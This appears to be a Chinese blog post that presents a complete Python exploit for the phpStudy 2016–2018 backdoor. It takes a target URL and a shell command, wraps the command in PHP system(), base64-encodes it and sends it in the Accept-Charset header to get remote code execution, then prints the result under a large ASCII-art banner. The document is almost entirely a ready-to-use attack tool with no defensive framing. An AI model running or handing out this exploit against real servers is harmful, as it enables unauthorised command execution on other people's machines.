[2016-2018]phpstudy的exp制作
用python的requests模块进行编写
修改请求数据包进行远程代码执行
python
import requests
import base64
def remove_code_execute():
try:
url = input("请输入要测试的网址:")
cmd = input("想要执行的命令:")
cmd = f"system('{cmd}');"
cmd = base64.b64encode(cmd.encode()).decode()
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
"accept-encoding": "gzip,deflate",
"accept-charset": f"{cmd}"
}
response = requests.get(url=url,headers=headers)
relust=response.content.decode("GBK")[:response.content.decode("GBK").find("<!D"):1]
except Exception:
print("请检查是否是url错误或者命令错误")
print("请检查操作系统和命令是否匹配")
else:
print(f"命令执行结果:\n{relust}")
print("""
PHPStudy_2016-2018
.............................................:.:..............................................tt,..t
..........................................:tfjjjft:...........................................itt::.
.........................................;fLLLGGLfjt,:.........................................;tj,.
.........:.:.....:.....................:;fLLGGDDGLLfjt:.........................................;ttt
......:.... ........... ...............,fLGGGDEEDGGGGf,..........................................,tt
..##i###. W:::...L...jjLKff...........:fGDDDDDEDDGGGL,......:. . ...;D.....::...:,:...:....:..t....
..f..L##.# ::.#####WW.itEii ............LDDDGGGjLDEDGfj......jf.,,E L.W##K##W#W#itWjfft#W###Wif#fjjt
...i.jE,:j:iG .:..W...;;D;;;............LGDDDGLjjGEDfi:......# .. D.#L,#::.,Df.::::.K..:iLE...,. G..
...#.. ,.f.jL.,:.#::. .:E...............iGDDDGLfGDDL..........#.::,D#.E#G..#.K.. #L###..#.#:..#EWW#.
..i:fLf,:Lt:L.W E: G.:.:ji::...........:.tGjGGfjLfjf..........;:..L:#: #.;W#####tK..K:.######j#.:D:.
.. ...##.f.##.:#: j.;;#: :K#..............Liiii;tit:........ #..:.E.#i:W.,:.#iW::W,:K,,:.#tE::#,;D:,
........................................jKi;ii;,iit.............,i. G:t,.:D:...j.L.....D:...;.L.....
......................................DEWKKjiiijti..................:.:....:... .:......:.....::....
.....................................:EKKWWEijLfftL,i................ .....:. :.....................
.................................jKKD::KKWWKGtjjtDW:fE,.......####.:..#.. .:t.E.....................
................................iKKKKD:DWWWWWf;itWKL:KKG:.....WWWK.,ii#iit...,:.....................
...............................:KKKKKKiiWWKWWWKKWWKE:KKKK:....###W....W:.:.,,;,;....................
..............................:EKKKKKKE;WWWEKWWWWWWE:KKKKK:..######..::.. :,,;,,....................
...............................KKKKKKKWiWWWWKKKWWWWD,KKKWKK...K.##K::#:L .ii;Eit....................
..............................tKKKKKWWWiWWWWWWWKKKEjfGKWWWW::L Gi,:.#:E.Dj.L;:#:....................
.............................:KKKWWKWWWjWWWWWWWWWWW;WWEWWWWK;:..:.:.:..:....:: .:...................
............................,KKWWWWWWWEKWWWWWWWWWWLjWWWWWWWKWD......................................
.........................:KKKWWWWWWWjfWWWWWWWWWWDLKW.,DWWWWWKKKKKKKG:...............................
.......................GKKKKWWWWWLiEWWWWWWWWWWt;..............:LWKKKKKKKKE:.........................
.....................:jKWKKKWWWWfiDWWWWWWWWWWG,.................:jWKKKKKKKKi........................
.....................;KKKKKWWWWLtGWWWWWWWWWWDi...................:.iKKWKKKKKG.......................
....................,EKKKKKKKWWGLWWWWWWWWWKLL:......................:fWWKKKKK.......................
...................:LKKKKWELLGLEWWWWWWWWWKEj.......................,tititLKEEj:.....................
..................:iKKKKKLfffLGEDDEKKKKEEED:......................itttiiiiL;iD......................
..................,KKKKKj.jffLLGDGGGDGGDDDEEt....................jjtttiiiij;Li......................
.................,GKKKK;::fLLGGGGGGGDGGDDDDDG,.................:.jjtLiiiittjLt......................
,:.............,GKWE;:...:GGGGGGGGGGGGGGGGGGG;..................Ljjjttttftjjfi......................
,,:...........,LWKK;:....:LGGGLLLLLLLLLLLLGLLt..................GffjjjjLjjjfLt:.....................
,,,,:........:iKKKf:......fffLLLLLLLLLLLLLLLff:.................tfLfjjfLjfffL,...............::.::..
,,,,,........,GKWWt:......fffLLLGGGLLLLLLLffffj.................:LLfffLffffL;................::.::..
,,,,,,:......,KKWWi......:ffffLGGGGGGLLLLLLffff..................;LLLLfffLLj.................::.....
,,,,,,,:...:,;;LWK;.......ffffffLLDEGDDGGLLfffji:.................iGLLLLLLt.........................
,,,,,,,,:..:i;;iii:.......fffffffLG:.DDDGLLffjjj:.................:.tLLGf:......:::.................
,,,,,,,,,::;iii,:;:.......LffffffLL..fDDGLLLffjj;..................:.:.:....:.....:.................
,,,,,,,,,,,,ii;:,;:.......;fffjjjfL...EDGGLLfjjjj.....................................::.........:..
,,,,,,,,,,,ii;,::;:........fffjjjfL...tGGGLffjjjj:............:.....................................
,,,,,,,,,,,ii,,...:........fffjjjfL...:GGGLffjjjjt................:::...............................
,,,,,,,,,,,,;;,............jfjjjjjL.....GGLLfjjjjf............:.........:.........................::
,,,,,,,,,,,,,,,............;fjjjjjf...::jGLLffjjjf......................:.........................::
,,,,,,,,,,,,,,,,:...........fjjjjjf:.....GLLffjjjj;.........:,;.WG,:j:W...........D:f. ...........::
,,,,,,,,,,,,,,,,,:..........jjjjjjj;...:.,LLffjjjjf...........:.t.::W, ,WW#WW#,..K..:.:......:::..
,,,,,,,,,,,,,,,,,,:.........jjjjjjjj...:..tLffjjjff..........fK..#:jW..W.,.:fi:::..K..:.::...::::...
--xl
frist : please your url
sec : please input your command
""")
remove_code_execute()